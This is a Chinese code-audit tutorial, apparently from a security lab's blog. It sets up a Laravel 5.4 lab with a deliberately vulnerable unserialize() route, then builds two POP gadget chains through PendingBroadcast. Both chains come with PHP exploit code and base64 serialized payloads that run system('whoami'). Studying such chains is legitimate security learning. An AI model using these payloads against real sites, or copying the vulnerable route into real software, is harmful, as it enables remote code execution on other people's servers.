点击蓝字关注我们
日期:2024-01-12
作者:Obsidian
介绍:Laravel 框架相关漏洞的新手学习记录。
0x01 前期准备
Laravel
是基于MVC
架构的 PHP
框架,所以要学习它的反序列化漏洞,需要对PHP
基础、反序列化基础、类与对象以及命名空间的概念有所了解。
参考资料:
-
https://www.php.net/manual/zh/langref.php
-
https://www.php.net/manual/zh/language.oop5.php
-
https://www.php.net/manual/zh/language.namespaces.php
在了解完基础概念之后,需要进行测试环境搭建。
安装 Laravel
可使用composer
一步到位,在web
目录下,例如/var/www/html/
,执行以下命令:
composer create-project --prefer-dist laravel/laravel laravel "5.4.*"
安装完成后,还需要对目录进行权限设置:
chmod 777 -R laravel/storage/
完成之后,访问web
目录下的/laravel/public/index.php
路径,如果内容与下图一致,说明搭建成功。
之后需要添加一个反序列化漏洞的入口:
首先在路由文件routes/web.php
,添加如下代码,添加一个新的路由并增加反序列化利用点:
Route::get('/', function(){
echo 'test';
@unserialize(base64_decode($_GET['test']));
});
之后访问/laravel/public/index.php
,进行测试即可。
0x02 漏洞分析及复现
当然,在开始之前,需要先简单列一下常见的魔术方法。
魔术方法 | 触发条件 |
---|---|
__wakeup() |
使用unserialize 时触发,常用于反序列化漏洞的起点,优先级高于__destruct() |
__sleep() |
使用serialize 时触发 |
__construct() |
对象被创建时触发 |
__destruct() |
对象被销毁时触发,常用于反序列化漏洞的起点 |
__call() |
在对象上下文中调用不可访问的方法时触发 |
__get() |
用于从不可访问的属性读取数据 |
__set() |
用于将数据写入不可访问的属性 |
__toString() |
把类当作字符串使用时触发 |
__invoke() |
当脚本尝试将对象调用为函数时触发 |
常规而言,反序列化漏洞的触发点一般是__wakeup()
或者__destruct()
,于是全局搜索相关函数:
经过多次尝试后,发现PendingBroadcast
可利用性很高,打开/laravel/vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
文件,删除多余的代码和注释后,精简代码如下:
namespace IlluminateBroadcasting;
class PendingBroadcast
{
protected $events;
protected $event;
public function __destruct()
{
$this->events->dispatch($this->event);
}
}
在经过反序列化时,通过__destruct
魔术方法,触发了$this->events
的dispatch
方法,此时可以发现$this->events
和$this->event
均可控。
这时候会有两种情况:
-
events
对象存在dispatch
方法,于是触发dispatch
方法,从dispatch
方法触发其他危险函数。 -
events
对象不存在dispatch
方法,于是触发__call()
魔术方法,从__call()
方法触发其他危险函数。
这里的危险函数是泛指一切类似于call_user_func
之类的可直接或间接执行命令的函数。
POP1
我们先从第一种情况开始考虑。
首先寻找含有dispatch()
函数的类,通过工具搜索关键字function dispatch(
,共找到18
个文件。
首先来看第一个文件/laravel/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php
,删除多余的代码和注释后,精简代码如下:
namespace IlluminateBus;
class Dispatcher implements QueueingDispatcher
{
protected $queueResolver;
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
}
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}
public function dispatchToQueue($command)
{
$connection = isset($command->connection) ? $command->connection : null;
$queue = call_user_func($this->queueResolver, $connection);
}
}
简单分析一下,dispatch
函数接收$command
参数,然后进行if
判断,如果条件成立,就将$command
传递给dispatchToQueue
函数。dispatchToQueue
函数接收$command
参数后,进行了一步参数处理,将处理后的参数带入了call_user_func
中。
最终我们的目的是利用call_user_func
函数执行命令,那么$this->queueResolver
是可控的,可设置值为system
。而$connection
是由$command->connection
赋值而来,所以$command
需要存在connection
属性,并且需要可控。要想通过if
判断进入call_user_func
函数,就需要通过commandShouldBeQueued
函数,所以$command
需要属于ShouldQueue
类。
总结条件为:
-
$this->queueResolver='system';
-
$command = new ShouldQueue();$command->connection='whoami';
但是通过全局搜索,并没有找到class ShouldQueue
,转变下思路,搜索下继承class ShouldQueue
的类。
这四个类任选其一即可,至此,我们可以简单地构造一个POP
链:
IlluminateBroadcastingPendingBroadcast::__destruct()
->
IlluminateBusDispatcher::dispatch()->dispatchToQueue()
->
call_user_func()->system('whoami')
简单写一下EXP
的代码:
namespace IlluminateEvents;
class CallQueuedListener {
public $connection="whoami";
}
namespace IlluminateBus;
class Dispatcher{
protected $queueResolver;
public function __construct(){
$this->queueResolver = "system";
}
}
namespace IlluminateBroadcasting;
use IlluminateEventsCallQueuedListener;
use IlluminateBusDispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();//dispatch
$this->event = new CallQueuedListener();//command
}
}
echo base64_encode(serialize(new PendingBroadcast()));
//Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNjoiSWxsdW1pbmF0ZVxFdmVudHNcQ2FsbFF1ZXVlZExpc3RlbmVyIjoxOntzOjEwOiJjb25uZWN0aW9uIjtzOjY6Indob2FtaSI7fX0=
成功命令执行:
POP2
继续寻找含有dispatch()
函数的类,全局搜索的第二个和第三个文件均为接口类,现在来看第四个文件/laravel/vendor/laravel/framework/src/Illuminate/Events/Dispatcher.php
,删除多余的代码和注释后,精简代码如下:
namespace IlluminateEvents;
class Dispatcher implements DispatcherContract
{
protected $listeners = [];
public function dispatch($event, $payload = [], $halt = false)
{
foreach ($this->getListeners($event) as $listener) {
$response = $listener($event, $payload);
}
}
public function getListeners($eventName)
{
$listeners = isset($this->listeners[$eventName]) ? $this->listeners[$eventName] : [];
$listeners = array_merge(
$listeners, $this->getWildcardListeners($eventName)
);
return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}
}
其中$listener($event, $payload);
是php
的可变函数,可通过这种方式来调用函数。
而system
是可以接收两个参数的,于是可以写出简单的利用过程:
$listener="system";
$event="whoami";
$payload=[];
$response = $listener($event, $payload);
结果如下:
$event
是我们可控的,接下来需要通过$this->getListeners($event)
来控制$listener
。在进入函数的第一行,将$this->listeners[$eventName]
赋值给了$listener
,而$this->listeners
是可控的,那么就需要的是$this->listeners["whoami"]=["system"]
。下面的array_merge
操作是拼接数组,对利用没有影响,因为在利用的时候,使用的是foreach
循环。最后在返回值的时候,需要满足class_exists($eventName, false)
为false
,也就是要不存在$eventName
类,假如执行的命令是whoami
,那么需要满足class whoami
不存在,这个就不需要特殊构造了。
至此,我们可以简单地构造一个POP
链:
IlluminateBroadcastingPendingBroadcast::__destruct()
->
IlluminateEventsDispatcher::dispatch()->getListeners()
->
$listener($event, $payload)->system('whoami')
简单写一下EXP
的代码:
namespace IlluminateEvents;
class Dispatcher
{
protected $listeners;
public function __construct($event){
$this->listeners[$event]=["system"];
}
}
namespace IlluminateBroadcasting;
use IlluminateEventsDispatcher;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct() {
$this->event = "whoami";
$this->events = new Dispatcher($this->event);
}
}
echo base64_encode(serialize(new PendingBroadcast()));
//Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086Mjg6IklsbHVtaW5hdGVcRXZlbnRzXERpc3BhdGNoZXIiOjE6e3M6MTI6IgAqAGxpc3RlbmVycyI7YToxOntzOjY6Indob2FtaSI7YToxOntpOjA7czo2OiJzeXN0ZW0iO319fXM6ODoiACoAZXZlbnQiO3M6Njoid2hvYW1pIjt9
成功命令执行:
0x03 总结
其他含有dispatch()
函数的类,暂未发现可利用的点,由于触发__call()
魔术方法的类数量过多,于是放在下篇文章。
点此亲启
原文始发于微信公众号(宸极实验室):『代码审计』从零开始的 Laravel 框架学习之旅(1)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论